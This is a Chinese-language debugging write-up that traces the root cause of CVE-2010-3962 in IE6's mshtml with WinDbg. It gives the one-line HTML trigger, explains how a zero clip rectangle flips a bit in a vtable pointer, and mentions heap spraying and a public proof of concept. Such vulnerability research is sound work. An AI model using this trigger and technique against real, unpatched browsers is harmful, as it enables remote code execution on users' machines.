CVE-2010-3962分析
比较老的漏洞,html解析器出了问题,<table style=position:absolute;clip:rect(0)>
这个极品代码会导致类的虚函数表被覆盖一位,然后地址就错位了。http://www.exploit-db.com/exploits/15421/ 可以找到POC,经典的heapspray;http://bbs.pediy.com/showthread.php?t=125122 解析过程导致漏洞触发分析。我这里就是用windbg调一下,触发并找到问题所在。winxp sp3 + IE6 。
首先把POC的shellcode开头改成CCCC,windbg载入IE,这里可以设置利用页面为首页,方便.restart。直接跑起来,执行到shellcode自动断下。
(c34.854): Break instruction exception - code 80000003 (first chance)
eax=ffeffffd ebx=0012e1ec ecx=01769420 edx=3fffffff esi=00000000 edi=01769420
eip=0d81b641 esp=0012e1a0 ebp=0012e1b0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
0d81b641 cc int 3
u可以看到这里确实是走到shellcode了。
0:000> u
0d81b641 cc int 3
0d81b642 cc int 3
0d81b643 cc int 3
0d81b644 cc int 3
0d81b645 cc int 3
0d81b646 0000 add byte ptr [eax],al
0d81b648 60 pushad
0d81b649 89e5 mov ebp,esp
查看此时堆栈:
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012e19c 7e291a8d 0xd81b641
0012e1b0 7e2c6104 mshtml!CLayout::EnsureDispNodeBackground+0x97
0012e274 7e2c5365 mshtml!CTableLayoutBlock::EnsureTableDispNode+0x388
0012e454 7e2c5b4a mshtml!CTableLayout::CalculateLayout+0x295
0012e5a4 7e28b788 mshtml!CTableLayout::CalcSizeVirtual+0x665
0012e6b8 7e2d203b mshtml!CLayout::CalcSize+0x224
mshtml!CLayout::EnsureDispNodeBackground+0x97发起某个调用之后就进入了shellcode,反汇编这个函数看看发生了什么。
0:000> x mshtml!CLayout::EnsureDispNodeBackground
7e291a3f mshtml!CLayout::EnsureDispNodeBackground =
7e3fd9ba mshtml!CLayout::EnsureDispNodeBackground =
C++类往往会有好多重载函数,所以这里需要查找符号,然后判断出问题的是哪个函数,这里明显是第一个。
0:000> uf 7e291a3f
......
mshtml!CLayout::EnsureDispNodeBackground+0x88:
7e291a7e 56 push esi
7e291a7f 8bcf mov ecx,edi
7e291a81 e80be2ffff call mshtml!CDispNode::SetBackground (7e28fc91)
7e291a86 8b07 mov eax,dword ptr [edi]
7e291a88 8bcf mov ecx,edi
7e291a8a ff5030 call dword ptr [eax+30h]
7e291a8d 85c0 test eax,eax
7e291a8f 7587 jne mshtml!CLayout::EnsureDispNodeBackground+0x9b (7e291a18)
可以看7e291a8a处调用 [eax + 30h] 时进入了shellcode。这里很明显ecx是类基址,eax指向虚地址表。所以我们需要查找虚表地址以及它如何被修改。
0:007> bp 7E291A88 ".printf \"\n======================Object: 0x%08x, VirtualTable: 0x%08x, Address of [eax+30]: 0x%08x====================\n\",@edi, @eax, poi(@eax+30);.echo;g"
0:007> g
ModLoad: 75bc0000 75c3d000 C:\WINDOWS\system32\jscript.dll
======================Object: 0x01768cb4, VirtualTable: 0x7e239178, Address of [eax+30]: 0x7e27cbee====================
======================Object: 0x01768cb4, VirtualTable: 0x7e239178, Address of [eax+30]: 0x7e27cbee====================
======================Object: 0x01769420, VirtualTable: 0x7e2233f1, Address of [eax+30]: 0x0d7e27c9====================
(7fc.630): Break instruction exception - code 80000003 (first chance)
eax=ffeffffd ebx=0012e1ec ecx=01769420 edx=3fffffff esi=00000000 edi=01769420
eip=0d81b641 esp=0012e1a0 ebp=0012e1b0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
0d81b641 cc int 3
0:000> dd 01769420
01769420 7e2233f1 01000000 00000000 00000000
可以发现第三个输出的VirtualTable很奇怪,根本没有对齐,进一步分析发现果然有猫腻。
0:007> ba w 4 0x01769420 ".printf \"\n======================Dangerous EIP: 0x%08x, Virtual Table: 0x%08x====================\n\", @eip, poi(0x01769420);.echo;g"
0:007> g
ModLoad: 75bc0000 75c3d000 C:\WINDOWS\system32\jscript.dll
======================Dangerous EIP: 0x7e277f35, Virtual Table: 0x00000000====================
======================Dangerous EIP: 0x7e2b5d74, Virtual Table: 0x7e2233f0====================
======================Dangerous EIP: 0x7e40e3bc, Virtual Table: 0x7e2233f1====================
======================Dangerous EIP: 0x7e40e3d2, Virtual Table: 0x7e2233f1====================
可以发现在第三个地方0x7e40e3bc VirtualTable地址被增加了1。看一下增加1的恶果:
0:000> dd 0x7e2233f1+30
7e223421 0d7e27c9 0d7e27c9 d97e27c9 9a7e28fa
7e223431 4e7e2919 d17e2b40 687e28a7 607e2cfe
7e223441 6f7e28b8 fe7e2e94 1a7e28af c67e2d2e
7e223451 537e2b99 61007400 6b006300 6f002000
7e223461 65007600 66007200 6f006c00 00007700
7e223471 27909000 cb332c44 b411d026 4fc00083
7e223481 7f1901d9 d17e2a7c 0d7e27a2 417e27a3
7e223491 e07e2ecb e87e2a7f c67e3ab2 4ad48a6e
0:000> dd 0x7e2233f0+30
7e223420 7e27c90d 7e27c90d 7e27c90d 7e28fad9
7e223430 7e29199a 7e2b404e 7e28a7d1 7e2cfe68
7e223440 7e28b860 7e2e946f 7e28affe 7e2d2e1a
7e223450 7e2b99c6 00740053 00630061 0020006b
7e223460 0076006f 00720065 006c0066 0077006f
7e223470 90900000 332c4427 11d026cb c00083b4
7e223480 1901d94f 7e2a7c7f 7e27a2d1 7e27a30d
7e223490 7e2ecb41 7e2a7fe0 7e3ab2e8 d48a6ec6
0:000> u 7e27c90d
mshtml!CLayout::IsDirty:
7e27c90d 33c0 xor eax,eax
7e27c90f c3 ret
7e27c910 8b5508 mov edx,dword ptr [ebp+8]
7e27c913 889c3710040000 mov byte ptr [edi+esi+410h],bl
7e27c91a e977b6ffff jmp mshtml!__sbh_alloc_block+0x7f (7e277f96)
7e27c91f 83f809 cmp eax,9
7e27c922 0f84ea240000 je mshtml!VariantClear+0x38 (7e27ee12)
7e27c928 83f80b cmp eax,0Bh
0:000> u 0d7e27c9
0d7e27c9 0d0d0d0d0d or eax,0D0D0D0Dh
0d7e27ce 0d0d0d0d0d or eax,0D0D0D0Dh
0d7e27d3 0d0d0d0d0d or eax,0D0D0D0Dh
0d7e27d8 0d0d0d0d0d or eax,0D0D0D0Dh
0d7e27dd 0d0d0d0d0d or eax,0D0D0D0Dh
0d7e27e2 0d0d0d0d0d or eax,0D0D0D0Dh
0d7e27e7 0d0d0d0d0d or eax,0D0D0D0Dh
0d7e27ec 0d0d0d0d0d or eax,0D0D0D0Dh
果然,修改之后全错位了,导致大量申请内存可以hit。看一下导致变化的那个邪恶EIP归属何处,进而就可以找到出问题的地方了。
0:000> u 0x7e40e3bc
mshtml!CDispNode::SetUserClip+0x9f:
7e40e3bc 8b4704 mov eax,dword ptr [edi+4]
7e40e3bf 23c6 and eax,esi
7e40e3c1 0fb688101c217e movzx ecx,byte ptr mshtml!CDispNode::_extraSizeTable (7e211c10)[eax]
7e40e3c8 8bc7 mov eax,edi
7e40e3ca c1e102 shl ecx,2
7e40e3cd 2bc1 sub eax,ecx
7e40e3cf 8320fd and dword ptr [eax],0FFFFFFFDh
7e40e3d2 8b4704 mov eax,dword ptr [edi+4]
0:000> u 0x7e40e3d2
mshtml!CDispNode::SetUserClip+0xb5:
7e40e3d2 8b4704 mov eax,dword ptr [edi+4]
7e40e3d5 23c6 and eax,esi
7e40e3d7 0fb680101c217e movzx eax,byte ptr mshtml!CDispNode::_extraSizeTable (7e211c10)[eax]
7e40e3de c1e002 shl eax,2
7e40e3e1 2bf8 sub edi,eax
7e40e3e3 83c704 add edi,4
7e40e3e6 8d75f0 lea esi,[ebp-10h]
7e40e3e9 a5 movs dword ptr es:[edi],dword ptr [esi]
原来是在mshtml!CDispNode::SetUserClip,网上好多对这个漏洞的分析,使用了很多其他的方法,最终都定位到了这个函数。
0:000> uf mshtml!CDispNode::SetUserClip
mshtml!CDispNode::SetUserClip:
7e40e31d 8bff mov edi,edi
7e40e31f 55 push ebp
7e40e320 8bec mov ebp,esp
7e40e322 83ec10 sub esp,10h
7e40e325 56 push esi
7e40e326 57 push edi
7e40e327 8bf9 mov edi,ecx
7e40e329 8b4704 mov eax,dword ptr [edi+4]
7e40e32c 2500108800 and eax,881000h
7e40e331 3d00108000 cmp eax,801000h
7e40e336 6a0f push 0Fh
7e40e338 5e pop esi
7e40e339 7548 jne mshtml!CDispNode::SetUserClip+0x66 (7e40e383)
......
mshtml!CDispNode::SetUserClip+0x66:
7e40e383 804f0704 or byte ptr [edi+7],4
7e40e387 6800000008 push 8000000h
7e40e38c 8bcf mov ecx,edi
7e40e38e e8fae5e7ff call mshtml!CDispNode::SetFlagsToRoot (7e28c98d)
7e40e393 ff7508 push dword ptr [ebp+8]
7e40e396 8d4df0 lea ecx,[ebp-10h]
7e40e399 e8e9bce7ff call mshtml!CRect::CRect (7e28a087)
7e40e39e 8d4df0 lea ecx,[ebp-10h]
7e40e3a1 e8a4e8ffff call mshtml!CRect::RestrictRange (7e40cc4a)
7e40e3a6 8b4704 mov eax,dword ptr [edi+4]
7e40e3a9 23c6 and eax,esi
7e40e3ab 0fb688101c217e movzx ecx,byte ptr mshtml!CDispNode::_extraSizeTable (7e211c10)[eax]
7e40e3b2 8bc7 mov eax,edi
7e40e3b4 c1e102 shl ecx,2
7e40e3b7 2bc1 sub eax,ecx
7e40e3b9 830801 or dword ptr [eax],1
......
注意这个反汇编代码的最后一行,往前推eax的变化过程:eax=dword ptr [edi+4],edi是类基址,eax指向某个成员变量;and eax, esi之后eax为0; 之后 eax = edi - 4×ecx,ecx=mshtml!CDispNode::_extraSizeTable;也就是说如果ecx=0,那么eax就是edi的值,也就是 类基址。最后一句 or dword ptr [eax],1 恰好让最后一位0变成了1,虚表地址被修改,悲剧发生。mshtml!CDispNode::_extraSizeTable作为成员变量,肯定是构造函 数产生的,这里看一下CDispNode的 New函数。
0:000> x mshtml!CDispContainer::New
7e2b5d4d mshtml!CDispContainer::New =
7e2d5e03 mshtml!CDispContainer::New =
同样是重载函数,都看了看之后感觉出事的是第一个。
0:000> uf 7e2b5d4d
mshtml!CDispContainer::New:
7e2b5d4d 8bff mov edi,edi
7e2b5d4f 55 push ebp
7e2b5d50 8bec mov ebp,esp
7e2b5d52 ff750c push dword ptr [ebp+0Ch]
7e2b5d55 6a00 push 0
7e2b5d57 6a48 push 48h
7e2b5d59 e8d1bdfdff call mshtml!CDispNode::operator new (7e291b2f)
7e2b5d5e 85c0 test eax,eax
7e2b5d60 7416 je mshtml!CDispContainer::New+0x29 (7e2b5d78)
mshtml!CDispContainer::New+0x15:
7e2b5d62 8b4d08 mov ecx,dword ptr [ebp+8]
7e2b5d65 668148068080 or word ptr [eax+6],8080h
7e2b5d6b 894824 mov dword ptr [eax+24h],ecx
7e2b5d6e c700f033227e mov dword ptr [eax],offset mshtml!CDispContainer::`vftable' (7e2233f0)
mshtml!CDispContainer::New+0x2b:
7e2b5d74 5d pop ebp
7e2b5d75 c20800 ret 8
mshtml!CDispContainer::New+0x29:
7e2b5d78 33c0 xor eax,eax
7e2b5d7a ebf8 jmp mshtml!CDispContainer::New+0x2b (7e2b5d74)
0:000> uf 7e291b2f
mshtml!CDispNode::operator new:
7e291b2f 8bff mov edi,edi
7e291b31 55 push ebp
7e291b32 8bec mov ebp,esp
7e291b34 51 push ecx
7e291b35 51 push ecx
7e291b36 8b4508 mov eax,dword ptr [ebp+8]
7e291b39 53 push ebx
7e291b3a 8b5d10 mov ebx,dword ptr [ebp+10h]
7e291b3d 56 push esi
7e291b3e 0fb6b3101c217e movzx esi,byte ptr mshtml!CDispNode::_extraSizeTable (7e211c10)[ebx]
7e291b45 c1e602 shl esi,2
7e291b48 57 push edi
7e291b49 03c6 add eax,esi
7e291b4b 50 push eax
7e291b4c e87563feff call mshtml!_MemAllocClear (7e277ec6)
7e291b51 8bf8 mov edi,eax
7e291b53 85ff test edi,edi
7e291b55 740e je mshtml!CDispNode::operator new+0x47 (7e291b65)
mshtml!CDispNode::operator new+0x28:
7e291b57 03fe add edi,esi
7e291b59 f6c340 test bl,40h
7e291b5c 895f04 mov dword ptr [edi+4],ebx
7e291b5f 0f85391b0a00 jne mshtml!CDispNode::operator new+0x32 (7e33369e)
mshtml!CDispNode::operator new+0x47:
7e291b65 8bc7 mov eax,edi
7e291b67 5f pop edi
7e291b68 5e pop esi
7e291b69 5b pop ebx
7e291b6a c9 leave
7e291b6b c20c00 ret 0Ch
mshtml!CDispNode::operator new+0x32:
7e33369e 8365f800 and dword ptr [ebp-8],0
7e3336a2 8365fc00 and dword ptr [ebp-4],0
7e3336a6 6aff push 0FFFFFFFFh
7e3336a8 8d45f8 lea eax,[ebp-8]
7e3336ab 50 push eax
7e3336ac 8bcf mov ecx,edi
7e3336ae e8de9b0d00 call mshtml!CDispNode::SetContentOriginNoInval (7e40d291)
7e3336b3 e9ade4f5ff jmp mshtml!CDispNode::operator new+0x47 (7e291b65)
注意到三个参数,如果不管的话第二个参数默认是0,所以会导致mshtml!CDispNode::_extraSizeTable是0,这就是后面悲剧发生的罪魁祸首。看一下NEW何时被调用:
0:007> bp 7e2b5d4d ".printf \"\n======================EIP And KV====================\n\";.echo; kb 3; g"
0:007> g
ModLoad: 75bc0000 75c3d000 C:\WINDOWS\system32\jscript.dll
======================EIP And KV====================
ChildEBP RetAddr Args to Child
0012e1b0 7e329f51 017687ac 00000008 0012e578 mshtml!CDispContainer::New
0012e274 7e2c5365 0012e4e8 00000000 00000000 mshtml!CTableLayoutBlock::EnsureTableDispNode+0xf8
0012e454 7e2c5b4a 00000000 ffffffff ffffffff mshtml!CTableLayout::CalculateLayout+0x295
======================EIP And KV====================
ChildEBP RetAddr Args to Child
0012e1b0 7e2c60a4 017687ac 00000000 0012e578 mshtml!CDispContainer::New
0012e274 7e2c5365 0012e4e8 00000000 00000000 mshtml!CTableLayoutBlock::EnsureTableDispNode+0x2d9
0012e454 7e2c5b4a 00000000 ffffffff ffffffff mshtml!CTableLayout::CalculateLayout+0x295
(55c.f54): Break instruction exception - code 80000003 (first chance)
eax=ffeffffd ebx=0012e1ec ecx=01769420 edx=3fffffff esi=00000000 edi=01769420
eip=0d81b641 esp=0012e1a0 ebp=0012e1b0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
0d81b641 cc int 3
回忆一下此时堆栈:
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012e19c 7e291a8d 0xd81b641
0012e1b0 7e2c6104 mshtml!CLayout::EnsureDispNodeBackground+0x97
0012e274 7e2c5365 mshtml!CTableLayoutBlock::EnsureTableDispNode+0x388
0012e454 7e2c5b4a mshtml!CTableLayout::CalculateLayout+0x295
0012e5a4 7e28b788 mshtml!CTableLayout::CalcSizeVirtual+0x665
0012e6b8 7e2d203b mshtml!CLayout::CalcSize+0x224
无缝结合,这个洞算是搞清楚了。
总结:
<table style=position:absolute;clip:rect(0)>
一句话触发漏洞。一个table,裁剪时参数为0,导致mshtml!CTableLayout::CalculateLayout
中创建CDispNode时mshtml!CDispNode::_extraSizeTable
为0,后来覆盖了虚表。然后通过HeapSpray覆盖EIP。
CDispNode要保存动态的裁剪表,就在虚表前面,如果没有裁剪表,修改的时候就会把VT改掉。结合IE渲染的原理能理解得更透彻。另外几个windbg的命令使用的也不错。